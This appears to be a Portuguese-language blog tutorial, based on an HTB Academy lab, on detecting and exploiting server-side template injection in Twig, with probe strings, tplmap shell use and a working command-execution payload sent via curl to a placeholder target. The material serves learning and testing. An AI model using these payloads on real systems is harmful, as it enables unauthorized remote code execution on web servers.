SSTI - Server-Side Template Injections
De acordo com o OWASP, a vulnerabilidade SSTI pode ser encontrada em aplicações web que usam a tecnologia server-side template, como Jinja2, Twig, FreeMaker, etc. Essa tecnologia é usada para gerar respostas HTML dinâmicas.
O SSTI ocorre quando um input de usuário é "emputido" no template de forma que a aplicação não faz a validação adequada, resultando em execução remota de código.
Como detectar o SSTI?
Para identificar a vulnerabilidade SSTI, basta inserir nos campos da aplicação as tags de template. As tags sugeridas para esse teste são:
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
{{7*'7'}}
Caso a aplicação seja vulnerável, o processamento da sentença 7*7 vai retornar o valor 49.
Depois de validar que a aplicação é realmente vulnerável, é preciso identificar qual é o template usado. O PortSwigger disponibiliza um diagrama que ajuda nessa detecção.
As duas sentenças processadas foram {{7*7}} e {{7*'7'}} indicando que o template pode ser Twig ou Jinja2
Nas listas PayloadsAllThings e HackTricks podemos encontrar payloads específicos para cada tipo de template, e assim saber qual a aplicação utiliza.
Outra forma de identificar o template usado pela aplicação é com a ferramenta tplmap Essa ferramenta usa python2, então recomendo que seja ativado o ambiente virtual para python2.
O resultado da ferramenta confirmar que o template utilizado é o Twig
OS.Shell com SSTI usando tplmap
A ferramenta tplmap também permite executar uma shell na aplicação vulnerável através do parâmetro --os.shell
RCE com SSTI
Manualmente, também é possível executar comandos na aplicação que usa template Twig. De acordo com o laboratório para explorar o SSTI do HTB Academy, esse template usa a variável _self.env que permite usar a função getFilter para executar comandos remotamente.
Usando cURL o payload é construído da seguinte forma:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>
Resultado
Nesse artigo, mostrei como explorar o SSTI no template Twig e executar comandos remotamente na aplicação manualmente e também de forma automática com a ferramenta tplmap.
Referencias:
Comentários
Postar um comentário